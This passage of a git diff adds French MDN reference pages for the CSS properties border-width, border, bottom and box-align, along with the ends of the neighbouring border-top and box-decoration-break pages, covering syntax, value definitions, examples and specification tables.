+   <td>{{SpecName('CSS3 Backgrounds', '#border-top', 'border-top')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Pas de modification directe bien que la modification de valeurs pour {{cssxref("border-top-color")}} s'applique.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#propdef-border-top', 'border-top')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Aucune modification significative.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border-top', 'border-top')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-top")}}</p>
diff --git a/files/fr/web/css/border-width/index.html b/files/fr/web/css/border-width/index.html
new file mode 100644
index 0000000000..a4ced190b5
--- /dev/null
+++ b/files/fr/web/css/border-width/index.html
@@ -0,0 +1,216 @@
+---
+title: border-width
+slug: Web/CSS/border-width
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-width
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>border-width</code></strong> est une <a href="/fr/docs/Web/CSS/Propri%C3%A9t%C3%A9s_raccourcies">propriété raccourcie</a> qui définit la largeur de la bordure d'un élément.</p>
+
+<p>Cette propriété raccourcie définit les propriétés détaillées</p>
+
+<ul>
+ <li>{{cssxref("border-top-width")}},</li>
+ <li>{{cssxref("border-right-width")}},</li>
+ <li>{{cssxref("border-bottom-width")}}</li>
+ <li>{{cssxref("border-left-width")}}.</li>
+</ul>
+
+<p>Si on utilise les propriétés logiques, elle définit {{cssxref("border-block-start-width")}}, {{cssxref("border-block-end-width")}}, {{cssxref("border-inline-start-width")}} et {{cssxref("border-inline-end-width")}}.</p>
+
+<p>Afin de paramétrer une bordure de façon plus pratique, on pourra utiliser la propriété raccourcie {{cssxref("border")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-width.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+border-width: thin;
+border-width: medium;
+border-width: thick;
+
+/* Une largeur pour chaque côté */
+/* Valeur de type &lt;length&gt; */<em>
+</em>border-width: 5px;<em>
+</em>
+/* largeur verticale puis horizontale */
+border-width: 2px 1.5em;
+
+/* haut | largeur horizontale | bas */
+border-width: 1px 2em 1.5cm;
+
+/* haut | droite | bas | gauche */
+border-width: 1px 2em 0 4rem;
+
+/* Valeurs globales */
+border-width: inherit;
+border-width: initial;
+border-width: unset;
+</pre>
+
+<p>La propriété <code>border-width</code> peut être définie avec une, deux, trois ou quatre valeurs.</p>
+
+<ul>
+ <li>Lorsqu'une valeur est fournie, elle est appliquée comme largeur pour les quatre côtés</li>
+ <li>Lorsque deux valeurs sont fournies, la première est appliquée comme largeur pour la bordure basse et haute et la seconde pour la bordure gauche et droite</li>
+ <li>Lorsque trois valeurs sont fournies, la première est appliquée à la bordure haute, la deuxième à la bordure gauche et à la bordure droite et la troisième à la bordure basse</li>
+ <li>Lorsque quatres valeurs sont fournies, elles s'appliquent respectivement aux cotés haut, droit, bas et gauche (sens des aiguilles d'une montre).</li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;line-width&gt;</code></dt>
+ <dd>Une valeur de longueur (type {{cssxref("&lt;length&gt;")}} ou un mot-clé indiquant l'épaisseur de la bordure. Le mot-clé doit être l'une des valeurs suivantes :
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <td><code>thin</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-style: solid; border-width: thin; background-color: palegreen;"> </div>
+    </td>
+    <td>La bordure est fine.</td>
+   </tr>
+   <tr>
+    <td><code>medium</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-style: solid; border-width: medium; background-color: palegreen;"> </div>
+    </td>
+    <td>La bordure est moyenne.</td>
+   </tr>
+   <tr>
+    <td><code>thick</code></td>
+    <td>
+     <div style="margin: 0.5em; width: 3em; height: 3em; border-style: solid; border-width: thick; background-color: palegreen;"> </div>
+    </td>
+    <td>La bordure est épaisse.</td>
+   </tr>
+  </tbody>
+ </table>
+  La spécification ne définit pas précisément l'épaisseur correspondante à chacun de ces mots-clés, les rendant dépendants de l'implémentation. Toutefois, la spécification indique que l'épaisseur doit suivre la relation d'inégalité suivante : <code>thin ≤ medium ≤ thick</code> et que les valeurs pour chaque mot-clé doivent être constantes pour un même document.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p id="unevaleur"&gt;
+  Une valeur : la bordure fait 6px sur les 4 côtés.
+&lt;/p&gt;
+
+&lt;p id="deuxvaleurs"&gt;
+  Deux valeurs différentes : elle fait 2px en haut
+  et en bas et elle mesure 10px pour les bords droit
+  et gauche.
+&lt;/p&gt;
+
+&lt;p id="troisvaleurs"&gt;
+  Trois valeurs différentes : 0.3em pour le haut,
+  9px pour le bas et zéro pour la droite et la
+  gauche.
+&lt;/p&gt;
+
+&lt;p id="quatrevaleurs"&gt;
+  Quatre valeurs différentes : "thin" pour le haut,
+  "medium" pour la droite, "thick" pour le bas
+  et 1em pour la gauche.
+&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#unevaleur {
+  border: ridge #ccc;
+  border-width: 6px;
+}
+
+#deuxvaleurs {
+  border: solid red;
+  border-width: 2px 10px;
+}
+
+#troisvaleurs {
+  border: dotted orange;
+  border-width: 0.3em 0 9px;
+}
+
+#quatrevaleurs {
+  border: solid lightgreen;
+  border-width: thin medium thick 1em;
+}
+
+p {
+  width: auto;
+  margin: 0.25em;
+  padding: 0.25em;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', 300, 180) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-width', 'border-width')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Pas de modification directe. La modification du type de données {{cssxref("&lt;length&gt;")}} impacte cette propriété.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#border-width-properties', 'border-width')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Ajout de la contrainte indiquant que la signification des valeurs doit être constante au sein d'un document.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border-width', 'border-width')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.border-width")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés raccourcies liées aux bordures
+  <ul>
+   <li>{{cssxref("border")}},</li>
+   <li>{{cssxref("border-style")}}</li>
+   <li>{{cssxref("border-color")}}</li>
+  </ul>
+ </li>
+ <li>Les propriétés liées à la largeur des bordures
+  <ul>
+   <li>{{cssxref("border-bottom-width")}},</li>
+   <li>{{cssxref("border-left-width")}},</li>
+   <li>{{cssxref("border-right-width")}},</li>
+   <li>{{cssxref("border-top-width")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/css/border/index.html b/files/fr/web/css/border/index.html
new file mode 100644
index 0000000000..19e1675de2
--- /dev/null
+++ b/files/fr/web/css/border/index.html
@@ -0,0 +1,148 @@
+---
+title: border
+slug: Web/CSS/border
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border
+---
+<div>{{CSSRef("CSS Borders")}}</div>
+
+<p>La propriété CSS <strong><code>border</code></strong> est <a href="/fr/docs/Web/CSS/Propriétés_raccourcies">une propriété raccourcie</a> qui permet de définir les propriétés liées à la bordure. <code>border</code> peut être utilisée pour définir les valeurs de {{cssxref("border-width")}}, {{cssxref("border-style")}} et {{cssxref("border-color")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Comme pour toutes les propriétés raccourcie, si une valeur est absente pour la propriété détaillée correspondante, cette dernière sera réinitialisée avec sa valeur initiale. On notera également que {{cssxref("border-image")}} ne peut pas être définie via cette propriété raccourcie mais elle sera quand même réinitialisée (sa valeur initiale est <code>none</code>). Ainsi, <code>border</code> peut être utilisée pour réinitialiser n'importe quelle propriété liée à la bordure définie plus haut dans la cascade.</p>
+
+<div class="note">
+<p><strong>Note :</strong> Bien que les propriétés raccourcies {{cssxref("border-width")}}, {{cssxref("border-style")}} et {{cssxref("border-color")}} acceptent jusqu'à quatre valeurs pour les différents côtés, cette propriété (<code>border</code>) n'accepte qu'une seule valeur pour chaque propriété détaillée. Le résultat obtenu sera donc homogène sur les quatre côtés.</p>
+</div>
+
+<h3 id="Différences_entre_les_bordures_et_les_contours_(outlines)">Différences entre les bordures et les contours (<em>outlines</em>)</h3>
+
+<p>Les bordures et <a href="/fr/docs/Web/CSS/outline">contours</a> sont similaires mais quelques différences les distinguent :</p>
+
+<ul>
+ <li>Les contours n'occupent pas d'espace sur l'élément : ils sont dessinés en dehors du contenu de l'élément</li>
+ <li>Selon la spécification, les contours ne sont pas nécessairement rectangulaires.</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* style */
+border: solid;
+
+/* largeur | style */
+border: 2px dotted;
+
+/* style | couleur */
+border: outset #f33;
+
+/* largeur | style | couleur */
+border: medium dashed green;
+
+/* Valeurs globales */
+border: inherit;
+border: initial;
+border: unset;
+</pre>
+
+<p>La propriété <code>border</code> peut être définie grâce à une ou plusieurs valeurs <code><a href="#br-width">&lt;line-width&gt;</a></code>, <code><a href="#br-style">&lt;line-style&gt;</a></code> ou <code><a href="#color">&lt;color&gt;</a></code>.</p>
+
+<div class="note">
+<p><strong>Note :</strong> La bordure pourra être invisible si son style n'est pas défini. En effet, sa valeur par défaut est <code>none</code>.</p>
+</div>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><a id="br-width" name="br-width"><code>&lt;line-width&gt;</code></a></dt>
+ <dd>Voir {{cssxref("border-width")}} (la valeur par défaut est <code>medium</code>).</dd>
+ <dt><a id="br-style" name="br-style"><code>&lt;line-style&gt;</code></a></dt>
+ <dd>Voir {{cssxref("border-style")}} (la valeur par défaut est <code>none</code>).</dd>
+ <dt><a id="color" name="color"><code>&lt;color&gt;</code></a></dt>
+ <dd>Voir {{cssxref("border-color")}}. Une valeur de type {{cssxref("&lt;color&gt;")}} qui indique la couleur de la bordure. La valeur par défaut qui sera utilisée sera la valeur de la propriété {{cssxref("color")}} de l'élément (qui est la couleur du texte de l'élément, pas de son arrière-plan).</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.brd {
+  border: 1px solid black;
+}
+style {
+  border: 1px dashed black;
+  display:block;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="brd"&gt;Oh des bordures&lt;/div&gt;
+&lt;p&gt;
+  N'hésitez pas à éditer le CSS qui suit pour voir
+  l'effet des valeurs.
+&lt;/p&gt;
+&lt;style contenteditable&gt;
+  .brd {
+    border: 1px solid black;
+  }
+&lt;/style&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-border-shorthands', 'border')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>La prise en charge du mot-clé <code>transparent</code> est retirée car celui-ci est désormais intégré au type {{cssxref("&lt;color&gt;")}}. En pratique, cela n'a pas d'impact. Bien que {{cssxref("border-image")}} ne puisse être définie via <code>border</code>, cette dernière la réinitialise quand même avec sa valeur initiale (<code>none</code>).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#border-shorthand-properties', 'border')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Le mot-clé <code>inherit</code> peut être utilisé et <code>transparent</code> est considéré comme une couleur valide.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#border', 'border')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("border-top-left-radius")}},</li>
+ <li>{{cssxref("border-top-right-radius")}},</li>
+ <li>{{cssxref("border-bottom-right-radius")}},</li>
+ <li>{{cssxref("border-bottom-left-radius")}}</li>
+</ul>
diff --git a/files/fr/web/css/bottom/index.html b/files/fr/web/css/bottom/index.html
new file mode 100644
index 0000000000..e50831a502
--- /dev/null
+++ b/files/fr/web/css/bottom/index.html
@@ -0,0 +1,166 @@
+---
+title: bottom
+slug: Web/CSS/bottom
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/bottom
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>bottom</code></strong> contribue à la définition de l'emplacement vertical des <a href="/fr/docs/Web/CSS/position">éléments positionnés</a>. Elle n'a aucun effet pour les éléments non-positionnés.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/bottom.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Pour les <strong>éléments positionnés de façon absolue</strong>, c'est-à-dire ceux dont la valeur de la propriété {{cssxref("position")}} vaut <code>absolute</code> ou <code>fixed</code>, la propriété <code>bottom</code> définit la distance entre le bord bas de la marge de l'élément et le bord bas du bloc qui contient l'élément.</p>
+
+<p>Pour les <strong>éléments positionnés de façon relative</strong>, c'est-à-dire ceux dont la valeur de propriété {{cssxref("position")}} est <code>relative</code>, la propriété <code>bottom</code> définit la distance dont le bord bas de l'élément est déplacé au-dessus de sa position normale.</p>
+
+<p>Pour les éléments adhérents, c'est-à-dire ceux dont la valeur de la propriété {{cssxref("position")}} est <code>sticky</code></p>
+
+<p>Lorsque les propriétés {{cssxref("top")}} et <code>bottom</code> sont définies et que {{cssxref("height")}} n'est pas définie ou vaut <code>auto</code> ou <code>100%</code>, les distances indiquées par {{cssxref("top")}} et <code>bottom</code> sont respectées. Dans les autres cas, si {{cssxref("height")}} est contrainte, la propriété {{cssxref("top")}} prendra le pas sur la propriété <code>bottom</code> qui sera alors ignorée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+bottom: 3px;
+bottom: 2.4em;
+
+/* Valeurs proportionnelles à la hauteur */
+/* du bloc englobant                     */
+/* Type &lt;percentages&gt;                    */
+bottom: 10%;
+
+/* Valeurs avec un mot-clé */
+bottom: auto;
+
+/* Valeurs globales */
+bottom: inherit;
+bottom: initial;
+bottom: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Une longueur (type {{cssxref("&lt;length&gt;")}} qui représente :
+ <ul>
+  <li>La distance depuis le bord bas du bloc englobant pour <strong>les éléments positionnés de façon absolue</strong></li>
+  <li>Le décalage avec lequel l'élément est déplacé au-dessus de sa position normale dans le flux pour pour <strong>les éléments positionnés de façon relative </strong>.</li>
+ </ul>
+ </dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Une valeur de pourcentage (type {{cssxref("&lt;percentage&gt;")}} exprimée par rapport à la hauteur du bloc englobant.</dd>
+ <dt><code>auto</code></dt>
+ <dd>
+ <ul>
+  <li>Pour <strong>les éléments positionnés de façon absolue :</strong> la position de l'élément se base sur la propriété {{cssxref("top")}} et <code>height: auto</code> est traitée comme une hauteur basée sur la taille du contenu</li>
+  <li>Pour <strong>les éléments positionnés de façon relative :</strong> le décalage avec lequel l'élément est déplacé est construit à partir de la propriété {{cssxref("top")}} et si celle-ci vaut également <code>auto</code>, l'élément n'est pas déplacé verticalement.</li>
+ </ul>
+ </dd>
+ <dt><code>inherit</code></dt>
+ <dd>Cette valeur indique que la valeur est la même que la valeur calculée pour l'élément parent (qui peut ne pas être le bloc englobant). Cette valeur calculée est gérée comme si elle était une longueur, un pourcentage ou le mot-clé <code>auto</code>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on illustre la différence de comportement de la propriété <code>bottom</code> lorsque {{cssxref("position")}} vaut <code>absolute</code> ou lorsqu'elle vaut <code>fixed</code>. When the regular text becomes taller than the viewable portion of the page (that is, the browser window's viewport), blocks positioned with <code>position:absolute</code> scroll with the page, while blocks positioned with <code>position:fixed</code> don't.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  font-size:30px;
+  line-height:3em;
+}
+
+div.pos {
+  width:49%;
+  text-align:center;
+  border:2px solid #00f;
+}
+
+div#abs {
+  position:absolute;
+  bottom:0;
+  left:0;
+}
+
+div#fix {
+  position:fixed;
+  bottom:0;
+  right:0;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  Voici &lt;br&gt;un&lt;br&gt;grand&lt;br&gt;grand,&lt;br&gt;grand,
+  &lt;br&gt;grand,&lt;br&gt;grand,&lt;br&gt;grand&lt;br&gt;contenu.
+&lt;/p&gt;
+
+&lt;div id="fix" class="pos"&gt;
+  &lt;p&gt;Fixe&lt;/p&gt;
+&lt;/div&gt;
+
+&lt;div id="abs" class="pos"&gt;
+  &lt;p&gt;Absolu&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","300","300")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visuren.html#choose-position', 'bottom')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'bottom')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>bottom</code> peut désormais être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Positioning', '#propdef-bottom', 'bottom')}}</td>
+   <td>{{Spec2('CSS3 Positioning')}}</td>
+   <td>Décrit le comportement pour le positionnement adhérent (<em>sticky</em>).</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.bottom")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("position")}},</li>
+ <li>{{cssxref("top")}},</li>
+ <li>{{cssxref("left")}},</li>
+ <li>{{cssxref("right")}}</li>
+</ul>
diff --git a/files/fr/web/css/box-align/index.html b/files/fr/web/css/box-align/index.html
new file mode 100644
index 0000000000..1f9c66610d
--- /dev/null
+++ b/files/fr/web/css/box-align/index.html
@@ -0,0 +1,134 @@
+---
+title: box-align
+slug: Web/CSS/box-align
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/box-align
+---
+<div>{{CSSRef}}{{Non-standard_header}}{{warning("Cette propriété s'inscrivait dans une ancienne version du standard pour le module CSS sur les boîtes flexibles et a été remplacée dans une nouvelle version du standard.")}}</div>
+
+<p>La propriété CSS <strong><code>box-align</code></strong> définit comment un élément aligne son contenu par rapport à l'axe orthogonal à la disposition. L'effet obtenu ne sera visible que s'il y a de l'espace supplémentaire dans la boîte flexible. Voir la page <a href="/fr/docs/Web/CSS/CSS_Flexible_Box_Layout/Utilisation_des_flexbox_en_CSS" title="CSS/Flexible_boxes">Flexbox</a> pour plus d'informations.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+box-align: start;
+box-align: center;
+box-align: end;
+box-align: baseline;
+box-align: stretch;
+
+/* Valeurs globales */
+box-lines: inherit;
+box-lines: initial;
+box-lines: unset;
+</pre>
+
+<p>La direction de l'élément dépend de son orientation.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <code>box-align</code> est paramétrée grâce à l'un des mots-clés suivants.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>start</code></dt>
+ <dd>La boîte aligne son contenu au début (l'espace restant est alors situé à la fin).</dd>
+ <dt><code>center</code></dt>
+ <dd>La boîte aligne son contenu sur le centre (l'espace restant est équitablement réparti entre le début et la fin).</dd>
+ <dt><code>end</code></dt>
+ <dd>La boîte aligne son contenu au début (l'espace restant est alors situé au début).</dd>
+ <dt><code>baseline</code></dt>
+ <dd>La boîte aligne les lignes de base des contenus (le texte sera sur la même ligne). Cela ne s'applique que si l'orientation de la boîte est horizontale.</dd>
+ <dt><code>stretch</code></dt>
+ <dd>Les boîtes s'étirent afin qu'il n'y ait plus d'espace restant dans la boîte.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div.exemple {
+  display: box;
+  display: -moz-box; /* Mozilla */
+  display: -webkit-box; /* WebKit */
+
+  /* La boîte est plus grande que ses
+     éléments afin que box-pack ait
+     un effet */
+  height: 400px;
+
+  /* La boîte est plus large que ses
+     éléments afin que box-align ait
+     un effet */
+  width: 300px;
+
+  /* Les éléments fils seront orientés
+     verticalement */
+  box-orient: vertical;
+  -moz-box-orient: vertical; /* Mozilla */
+  -webkit-box-orient: vertical; /* WebKit */
+
+  /* On centre les éléments horizontalement */
+  box-align: center;
+  -moz-box-align: center; /* Mozilla */
+  -webkit-box-align: center; /* WebKit */
+
+  /* On les regroupe vers le bas */
+  box-pack: end;
+  -moz-box-pack: end; /* Mozilla */
+  -webkit-box-pack: end; /* WebKit */
+}
+
+div.exemple &gt; p {
+  /* On réduit les éléments fils pour que
+     box-align ait un impact. */
+  width: 200px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="exemple"&gt;
+  &lt;p&gt;Je serai deuxième en partant du bas, centré horizontalement.&lt;/p&gt;
+  &lt;p&gt;Je serai en bas de div.exemple, centré horizontalement.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","500","500")}}</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Le bord de la boîte qui est indiqué par <code>start</code> dépend de l'orientation de la boîte : si celle-ci est orientée horizontalement, ce sera le côté haut, si elle est orientée verticalement, ce sera le côté bas. Le côté désigné par <code>end</code> est le côté opposé à <code>start</code>.</p>
+
+<p>Si l'alignement est défini via l'attribut HTML <code>align</code>, la déclaration sera alors ignorée.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/css3-flexbox/">Brouillon de travail pour le module des boîtes flexibles (W3C)</a> {{Note("L'état actuel de cette spécification ne reflète pas l'implémentation de Gecko ou WebKit.")}}</li>
+ <li><a class="external" href="http://www.w3.org/TR/2009/WD-css3-flexbox-20090723/">Ancienne version de la spécification</a> {{Note("Les implémentations de WebKit et Gecko reflètent cette version de la spécification.")}}</li>
+</ul>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.box-align")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("align-items")}},</li>
+ <li>{{cssxref("box-orient")}},</li>
+ <li>{{cssxref("box-direction")}},</li>
+ <li>{{cssxref("box-pack")}}.</li>
+</ul>
diff --git a/files/fr/web/css/box-decoration-break/index.html b/files/fr/web/css/box-decoration-break/index.html
new file mode 100644
index 0000000000..94b952c8db
--- /dev/null
+++ b/files/fr/web/css/box-decoration-break/index.html
@@ -0,0 +1,163 @@
+---
+title: box-decoration-break
+slug: Web/CSS/box-decoration-break
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/box-decoration-break
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>box-decoration-break</code></strong> définit la façon dont les propriétés {{cssxref("background")}}, {{cssxref("padding")}}, {{cssxref("border")}}, {{cssxref("border-image")}}, {{cssxref("box-shadow")}}, {{cssxref("margin")}} et {{cssxref("clip")}} sont appliquées sur un élément lorsque la boîte de celui-ci est fragmentée. La fragmentation apparaît lorsqu'une boîte en ligne s'étend sur plusieurs lignes ou lorsqu'un bloc s'étend sur plus d'une colonne lorsque qu'il est dans conteneur disposé en colonne ou lorsqu'un bloc déclenche un saut de page sur un média imprimé. Chaque « morceau » de l'élément est alors appelé un fragment.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/box-decoration-break.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+box-decoration-break: slice;
+box-decoration-break: clone;
+
+/* Valeurs globales */
+box-decoration-break: initial;
+box-decoration-break: inherit;
+box-decoration-break: unset;
+</pre>
+
+<p>La propriété <code>box-decoration-break</code> est définie avec l'un des mots-clés définis ci-après.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>clone</code></dt>
